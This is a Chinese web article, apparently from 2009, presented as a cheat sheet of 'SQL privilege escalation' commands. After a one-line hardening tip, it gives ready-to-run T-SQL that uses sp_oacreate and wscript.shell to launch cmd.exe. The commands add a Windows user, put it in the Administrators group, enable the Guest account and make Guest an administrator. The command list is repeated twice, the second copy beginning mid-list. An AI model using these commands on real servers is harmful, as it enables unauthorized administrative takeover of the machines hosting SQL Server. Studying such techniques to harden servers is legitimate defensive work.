SQL 提权 常用命令
更新时间:2009年07月24日 00:29:34 作者:
SQL 提权 常用命令,大家可以考虑下将sqlserver的服务运行权限设置为普通用户,即可防止下面的提权。
1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考脚本之家服务器安全设置栏目。
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考脚本之家服务器安全设置栏目。
相关文章
CentOS 7.3上SQL Server vNext CTP 1.2安装教程
这篇文章主要为大家详细介绍了CentOS 7.3上SQL Server vNext CTP 1.2安装教程,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2017-01-01
GreatSQL 在SQL中如何使用 HINT 语法修改会话变量
GreatSQL推出新的优化Hint功能,名为SET_VAR,允许用户在查询语句中修改数据库的会话变量,但只对当前查询会话生效,不影响其他会话,本文给大家介绍GreatSQL 在SQL中如何使用 HINT 语法修改会话变量,感兴趣的朋友一起看看吧2024-10-10


最新评论